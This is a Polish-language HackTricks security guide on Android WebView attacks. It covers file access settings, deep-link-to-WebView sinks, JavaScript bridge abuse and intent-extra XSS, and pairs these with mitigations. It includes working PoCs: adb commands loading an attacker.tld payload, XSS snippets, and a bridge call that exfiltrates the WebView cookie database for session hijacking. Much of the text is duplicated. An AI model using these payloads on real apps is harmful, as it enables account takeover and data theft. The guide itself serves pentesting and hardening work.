WebView Ataki

Reading time: 18 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przewodnik po konfiguracji i bezpieczeństwie WebView

Przegląd podatności WebView

Krytycznym aspektem rozwoju aplikacji Android jest poprawne obsługiwanie WebView. Ten przewodnik przedstawia kluczowe konfiguracje i praktyki bezpieczeństwa, które zmniejszają ryzyko związane z używaniem WebView.

WebView Example

Dostęp do plików w WebView

Domyślnie WebView umożliwia dostęp do plików. Funkcjonalność ta jest kontrolowana przez metodę setAllowFileAccess(), dostępną od Android API level 3 (Cupcake 1.5). Aplikacje z uprawnieniem android.permission.READ_EXTERNAL_STORAGE mogą odczytywać pliki z pamięci zewnętrznej używając schematu URL pliku (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Ta przestarzała funkcja pozwalała na żądania cross-origin z URL-ów file, co stwarzało poważne ryzyko bezpieczeństwa z powodu potencjalnych ataków XSS. Domyślne ustawienie to disabled (false) dla aplikacji targetujących Android Jelly Bean i nowsze.
  • Aby sprawdzić to ustawienie, użyj getAllowUniversalAccessFromFileURLs().
  • Aby zmodyfikować to ustawienie, użyj setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ta funkcja, również przestarzała, kontrolowała dostęp do zawartości z innych URL-i używających schematu file. Podobnie jak w przypadku universal access, domyślnie jest wyłączona dla zwiększenia bezpieczeństwa.
  • Użyj getAllowFileAccessFromFileURLs() aby sprawdzić i setAllowFileAccessFromFileURLs(boolean) aby ustawić.

Bezpieczne ładowanie plików

Aby wyłączyć dostęp do systemu plików przy jednoczesnym dostępie do assetów i zasobów, używa się metody setAllowFileAccess(). Na Android R i nowszych domyślne ustawienie to false.

  • Sprawdź za pomocą getAllowFileAccess().
  • Włącz lub wyłącz za pomocą setAllowFileAccess(boolean).

WebViewAssetLoader

Klasa WebViewAssetLoader to nowoczesne podejście do ładowania lokalnych plików. Używa ona URLi http(s) do dostępu do lokalnych assetów i zasobów, zgodnie z zasadą Same-Origin, co ułatwia zarządzanie CORS.

loadUrl

To powszechna funkcja używana do ładowania dowolnych URLi w WebView:

java
webview.loadUrl("<url here>")

Oczywiście, potencjalny atakujący nigdy nie powinien móc kontrolować URL, który aplikacja zamierza załadować.

JavaScript i obsługa Intent Scheme

  • JavaScript: Wyłączony domyślnie w WebViews, można go włączyć za pomocą setJavaScriptEnabled(). Należy zachować ostrożność, ponieważ włączenie JavaScript bez odpowiednich zabezpieczeń może wprowadzić luki bezpieczeństwa.
  • Intent Scheme: WebViews mogą obsługiwać schemat intent, co potencjalnie może prowadzić do exploitów, jeśli nie jest odpowiednio zarządzane. Przykładowa luka obejmowała ujawniony parametr WebView "support_url", który mógł zostać wykorzystany do wykonania cross-site scripting (XSS) attacks.

Podatny WebView

Przykład exploitacji przy użyciu adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

JavaScript Bridge

Android udostępnia funkcję, która umożliwia JavaScript w WebView wywoływanie natywnych funkcji aplikacji Android. Osiąga się to poprzez użycie metody addJavascriptInterface, która integruje JavaScript z natywnymi funkcjonalnościami Androida, określaną jako WebView JavaScript bridge. Należy zachować ostrożność, ponieważ ta metoda pozwala wszystkim stronom wewnątrz WebView na dostęp do zarejestrowanego obiektu interfejsu JavaScript, co stanowi ryzyko bezpieczeństwa, jeśli przez te interfejsy ujawnione zostaną wrażliwe informacje.

  • Wymagana jest szczególna ostrożność w przypadku aplikacji skierowanych na wersje Android poniżej 4.2 z powodu podatności pozwalającej na zdalne wykonanie kodu przez złośliwy JavaScript, wykorzystującej refleksję.

Implementacja JavaScript Bridge

  • Interfejsy JavaScript mogą współdziałać z kodem natywnym, jak pokazują przykłady, gdzie metoda klasy jest udostępniona dla JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge jest włączany przez dodanie interfejsu do WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencjalne wykorzystanie za pomocą JavaScript, na przykład przez atak XSS, umożliwia wywoływanie wystawionych metod Java:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Aby zmniejszyć ryzyko, ogranicz użycie JavaScript bridge do kodu dostarczonego z APK i uniemożliwiaj ładowanie JavaScript z zdalnych źródeł. Dla starszych urządzeń ustaw minimalny poziom API na 17.

Reflection-based Remote Code Execution (RCE)

  • Udokumentowana metoda pozwala osiągnąć RCE przez mechanizm reflection poprzez wykonanie określonego payloadu. Jednak adnotacja @JavascriptInterface zapobiega nieautoryzowanemu dostępowi do metod, ograniczając powierzchnię ataku.

Remote Debugging

  • Remote debugging jest możliwe za pomocą Chrome Developer Tools, umożliwiając interakcję i dowolne wykonywanie JavaScript w zawartości WebView.

Enabling Remote Debugging

  • Remote debugging można włączyć dla wszystkich WebViews w aplikacji poprzez:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Aby warunkowo włączyć debugowanie w zależności od wartości atrybutu debuggable aplikacji:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate dowolnych plików

  • Demonstruje exfiltration dowolnych plików przy użyciu XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView Attacks

Przewodnik po konfiguracjach i zabezpieczeniach WebView

Przegląd podatności WebView

Krytycznym aspektem tworzenia aplikacji na Androidzie jest prawidłowe obsługiwanie WebView. Ten przewodnik omawia kluczowe konfiguracje i praktyki bezpieczeństwa, aby ograniczyć ryzyka związane z używaniem WebView.

WebView Example

Dostęp do plików w WebView

Domyślnie WebView pozwalają na dostęp do plików. Funkcjonalność ta jest kontrolowana przez metodę setAllowFileAccess(), dostępną od Android API level 3 (Cupcake 1.5). Aplikacje z uprawnieniem android.permission.READ_EXTERNAL_STORAGE mogą czytać pliki z pamięci zewnętrznej używając schematu URL pliku (file://path/to/file).

Funkcje przestarzałe: Universal and File Access From URLs

  • Universal Access From File URLs: Ta przestarzała funkcja pozwalała na żądania cross-origin z file URLs, stwarzając poważne ryzyko bezpieczeństwa z powodu potencjalnych ataków XSS. Domyślnie ustawienie jest wyłączone (false) dla aplikacji targetujących Android Jelly Bean i nowsze.
  • Aby sprawdzić to ustawienie, użyj getAllowUniversalAccessFromFileURLs().
  • Aby zmodyfikować to ustawienie, użyj setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ta funkcja, również przestarzała, kontrolowała dostęp do treści z innych URL-i o schemacie file. Podobnie jak universal access, domyślnie jest wyłączona dla zwiększenia bezpieczeństwa.
  • Użyj getAllowFileAccessFromFileURLs() aby sprawdzić i setAllowFileAccessFromFileURLs(boolean) aby ustawić.

Bezpieczne ładowanie plików

Aby wyłączyć dostęp do systemu plików przy jednoczesnym dostępie do assetów i zasobów, używa się metody setAllowFileAccess(). W Android R i nowszych domyślne ustawienie to false.

  • Sprawdź za pomocą getAllowFileAccess().
  • Włącz lub wyłącz za pomocą setAllowFileAccess(boolean).

WebViewAssetLoader

Klasa WebViewAssetLoader jest nowoczesnym podejściem do ładowania plików lokalnych. Używa adresów http(s) do dostępu do lokalnych assetów i zasobów, zgodnych z polityką Same-Origin, co ułatwia zarządzanie CORS.

loadUrl

Jest to powszechna funkcja używana do ładowania dowolnych URL-i w WebView:

java
webview.loadUrl("<url here>")

Oczywiście, potencjalny attacker nigdy nie powinien mieć możliwości kontrolowania URL, który aplikacja ma załadować.

Deep-linking do wewnętrznego WebView (custom scheme → WebView sink)

Wiele aplikacji rejestruje custom schemes/paths, które kierują dostarczony przez użytkownika URL do wbudowanego WebView aplikacji. Jeśli deep link jest eksportowany (VIEW + BROWSABLE), attacker może zmusić aplikację do renderowania dowolnej, zdalnej zawartości wewnątrz jej kontekstu WebView.

Typowy wzorzec manifestu (uproszczony):

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Typowy przepływ kodu (uproszczony):

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Wzorzec ataku i PoC przez adb:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: zdalna strona działa w kontekście WebView aplikacji (cookies/session profilu WebView aplikacji, dostęp do wszelkich exposed @JavascriptInterface, potencjalny dostęp do content:// i file:// zależnie od ustawień).

Hunting tips:

  • Przeszukaj zdekompilowane źródła pod kątem getQueryParameter("url"), loadUrl(, WebView sinks i handlerów deep-link (onCreate/onNewIntent).
  • Przejrzyj manifest w poszukiwaniu filtrów VIEW+BROWSABLE oraz niestandardowych schematów/hostów, które mapują na activity, które później uruchamiają WebView.
  • Sprawdź, czy istnieje wiele ścieżek deep-link (np. ścieżka „zewnętrzna przeglądarka” vs. „wewnętrzny WebView”) i preferuj tę, która renderuje wewnątrz aplikacji.

Enabling JavaScript before verification (order-of-checks bug)

Częstym błędem w hardeningu jest włączenie JavaScript lub skonfigurowanie poluzowanych ustawień WebView przed zakończeniem ostatecznego allowlist/weryfikacji docelowego URL. Jeśli weryfikacja jest niespójna między helperami lub następuje zbyt późno, złośliwy deep link może doprowadzić do stanu, w którym:

  1. ustawienia WebView mają zastosowanie (np. setJavaScriptEnabled(true)), oraz
  2. niezaufany URL jest załadowany z włączonym JavaScriptem.

Wzorzec błędu (pseudokod):

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Dlaczego to jest eksploatowalne

  • Niespójna normalizacja: pomocnicze funkcje dzielą/odtwarzają URL inaczej niż końcowe sprawdzenie, tworząc rozbieżności, które może wykorzystać złośliwy URL.
  • Nieprawidłowa kolejność etapów: włączenie JS w kroku 2 stosuje się globalnie do instancji WebView, wpływając na ostateczne ładowanie nawet jeśli późniejsze weryfikacje nie przejdą.

Jak testować

  • Stwórz deep-link payloady, które przejdą wczesne kontrole i dotrą do strony konfiguracji WebView.
  • Użyj adb, aby wysłać implicit VIEW intents dostarczające parametr url= kontrolowany przez ciebie:
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Jeśli exploitation powiedzie się, twój payload wykona JavaScript w WebView aplikacji. Stamtąd zbadaj exposed bridges:

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Wskazówki obronne

  • Kanonizuj raz; waliduj ściśle względem pojedynczego źródła prawdy (scheme/host/path/query).
  • Wywołuj setJavaScriptEnabled(true) tylko po przejściu wszystkich sprawdzeń allowlist i bezpośrednio przed załadowaniem zaufanej treści.
  • Unikaj ujawniania @JavascriptInterface niezaufanym originom; preferuj per-origin gating.
  • Rozważ użycie oddzielnych instancji per-WebView dla zaufanej i niezaufanej treści, z JS wyłączonym domyślnie.

JavaScript i obsługa schematu Intent

  • JavaScript: Domyślnie wyłączony w WebView, można go włączyć przez setJavaScriptEnabled(). Należy zachować ostrożność, ponieważ włączenie JavaScript bez odpowiednich zabezpieczeń może wprowadzić luki bezpieczeństwa.
  • Intent Scheme: WebView potrafią obsługiwać schemat intent, co może prowadzić do exploitów, jeśli nie jest odpowiednio zarządzane. Przykładowa podatność dotyczyła wystawionego parametru WebView "support_url", który mógł zostać wykorzystany do wykonania ataków cross-site scripting (XSS).

Podatny WebView

Przykład eksploatacji przy użyciu adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android udostępnia mechanizm, który umożliwia JavaScript w WebView wywoływanie natywnych funkcji aplikacji Android. Osiąga się to za pomocą metody addJavascriptInterface, która integruje JavaScript z natywnymi funkcjonalnościami Androida, nazywaną WebView JavaScript bridge. Należy zachować ostrożność, ponieważ ta metoda umożliwia wszystkim stronom w WebView dostęp do zarejestrowanego obiektu JavaScript Interface, co stanowi ryzyko bezpieczeństwa, jeśli przez te interfejsy ujawnione zostaną wrażliwe informacje.

  • Wymagana jest wyjątkowa ostrożność w przypadku aplikacji skierowanych na Androida w wersjach poniżej 4.2 z powodu podatności umożliwiającej remote code execution przez złośliwy JavaScript, wykorzystującej reflection.

Implementing a JavaScript Bridge

  • JavaScript interfaces mogą wchodzić w interakcję z natywnym kodem, jak pokazano w przykładach, gdzie metoda klasy jest udostępniona dla JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge jest włączony przez dodanie interfejsu do WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencjalne wykorzystanie przez JavaScript, na przykład za pomocą ataku XSS, umożliwia wywoływanie udostępnionych metod Java:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Aby zminimalizować ryzyko, ogranicz użycie JavaScript bridge do kodu dostarczonego z APK i uniemożliwiaj ładowanie JavaScript z zdalnych źródeł. Na starszych urządzeniach ustaw minimalny poziom API na 17.

Wykorzystywanie dispatcher-style JS bridges (invokeMethod/handlerName)

Typowym wzorcem jest pojedyncza eksportowana metoda (np. @JavascriptInterface void invokeMethod(String json)), która deserializuje JSON kontrolowany przez atakującego do generycznego obiektu i wywołuje odpowiednią akcję na podstawie podanej nazwy handlera. Typowa struktura JSON:

json
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risk: jeśli którykolwiek z zarejestrowanych handlerów wykonuje uprzywilejowane działania na danych atakującego (np. bezpośrednie odczyty plików), możesz go wywołać ustawiając handlerName odpowiednio. Wyniki są zwykle zwracane do kontekstu strony przez evaluateJavascript oraz mechanizm callback/promise identyfikowany przez callbackId.

Key hunting steps

  • Dekomiluj i przeszukaj (grep) pod kątem addJavascriptInterface(, aby poznać nazwę obiektu bridge (np. xbridge).
  • W Chrome DevTools (chrome://inspect) wpisz nazwę obiektu bridge w konsoli (np. xbridge), aby wylistować wyeksponowane pola/metody; szukaj ogólnego dispatchera takiego jak invokeMethod.
  • Wyenumeruj handlery, szukając klas implementujących getModuleName() lub map rejestracji.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

Jeśli handler przyjmuje URI, wywołuje Uri.parse(req.getUri()).getPath(), tworzy new File(...) i odczytuje go bez allowlists lub kontroli sandbox, uzyskujesz arbitrary file read w sandboxie aplikacji, który omija ustawienia WebView takie jak setAllowFileAccess(false) (odczyt odbywa się w kodzie natywnym, nie przez WebView network stack).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

javascript
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Uwagi

  • Ścieżki plików Cookie różnią się w zależności od urządzenia/dostawcy. Najczęściej spotykane:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • Handler zwraca Base64; zdekoduj, aby odzyskać cookies i podszyć się pod użytkownika w profilu WebView aplikacji.

Wskazówki wykrywania

  • Zwracaj uwagę na duże ciągi Base64 zwracane przez evaluateJavascript podczas korzystania z aplikacji.
  • Przeszukaj (grep) zdekompilowane źródła w poszukiwaniu handlerów, które przyjmują uri/path i konwertują je na new File(...).

Omijanie kontroli uprawnień WebView – sprawdzenia hosta endsWith()

Decyzje dotyczące uprawnień (wybór JSB-enabled Activity) często opierają się na listach dozwolonych hostów. Wadliwy wzorzec to:

java
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Logika równoważna (prawa De Morgana):

java
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

To nie jest sprawdzenie pochodzenia (origin). Wiele niezamierzonych hostów spełnia drugi warunek, wpuszczając niezaufane domeny do uprzywilejowanej Activity. Zawsze weryfikuj scheme i host względem ścisłej listy dozwolonych (dokładne dopasowanie lub poprawne sprawdzenie subdomeny z uwzględnieniem granic kropki), a nie sztuczek typu endsWith.

Prymityw wykonawczy javascript:// przez loadUrl

Po uzyskaniu dostępu do uprzywilejowanego WebView, aplikacje czasami wykonują inline JS za pomocą:

java
webView.loadUrl("javascript:" + jsPayload);

Jeśli wewnętrzny flow wywoła loadUrl("javascript:...") w tym kontekście, wstrzyknięty JS wykona się z dostępem do bridge’a, nawet jeśli zewnętrzna strona normalnie nie miałaby do tego uprawnień. Pentest steps:

  • Grep for loadUrl("javascript: and evaluateJavascript( in the app.
  • Spróbuj dotrzeć do tych ścieżek kodu po wymuszeniu nawigacji do uprzywilejowanego WebView (np. przez permissive deep link chooser).
  • Use the primitive to call the dispatcher (xbridge.invokeMethod(...)) and reach sensitive handlers.

Mitigations (developer checklist)

  • Strict origin verification for privileged Activities: canonicalize and compare scheme/host against an explicit allowlist; avoid endsWith-based checks. Consider Digital Asset Links when applicable.
  • Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
  • Remove or tightly guard filesystem-capable handlers; prefer content:// with allowlists/permissions over raw file:// paths.
  • Avoid loadUrl("javascript:") in privileged contexts or gate it behind strong checks.
  • Remember setAllowFileAccess(false) doesn’t protect against native file reads via the bridge.

JSB — wskazówki do enumeracji i debugowania

  • Włącz zdalne debugowanie WebView, aby użyć konsoli Chrome DevTools:
  • App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • System-side: modules like LSPosed or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
  • W DevTools wpisz nazwę obiektu bridge (np. xbridge), aby zobaczyć udostępnione elementy i przetestować dispatcher.

Reflection-based Remote Code Execution (RCE)

  • A documented method allows achieving RCE through reflection by executing a specific payload. However, the @JavascriptInterface annotation prevents unauthorized method access, limiting the attack surface.

Remote Debugging

  • Remote debugging is possible with Chrome Developer Tools, enabling interaction and arbitrary JavaScript execution within the WebView content.

Enabling Remote Debugging

  • Zdalne debugowanie można włączyć dla wszystkich WebView w aplikacji poprzez:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Aby warunkowo włączyć debugging w oparciu o stan debuggable aplikacji:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

  • Prezentuje exfiltration dowolnych plików za pomocą XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Częstą podatnością jest odczytywanie danych kontrolowanych przez atakującego z przychodzącego Intent extra i wstrzykiwanie ich bezpośrednio do WebView za pomocą loadData() przy włączonym JavaScript.

Przykład podatności (exported Activity odczytuje extra i renderuje go jako HTML):

java
String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Jeśli ta Activity jest eksportowana (lub osiągalna przez eksportowany proxy), złośliwa aplikacja może przekazać HTML/JS w dodatkowym polu data, aby wywołać reflected XSS:

bash
# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Wpływ

  • Wykonanie dowolnego JS w kontekście WebView aplikacji: enumeruj/użyj mostków @JavascriptInterface, uzyskaj dostęp do WebView cookies/local storage, pivot do file:// lub content:// w zależności od ustawień.

Mitigations

  • Traktuj wszystkie wejścia pochodzące z Intent jako niezaufane. Zastosuj escapowanie (Html.escapeHtml) lub odrzuć HTML; lepiej renderować niezaufany tekst jako zwykły tekst, nie jako HTML.
  • Utrzymuj JavaScript wyłączony, chyba że jest to absolutnie konieczne; nie włączaj WebChromeClient dla niezaufanej zawartości.
  • Jeśli musisz renderować szablonowy HTML, użyj loadDataWithBaseURL() z bezpieczną bazą i CSP; oddziel zaufane i niezaufane WebView.
  • Unikaj wystawiania Activity na zewnątrz lub chroń je uprawnieniami, gdy nie jest potrzebne.

Powiązane

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks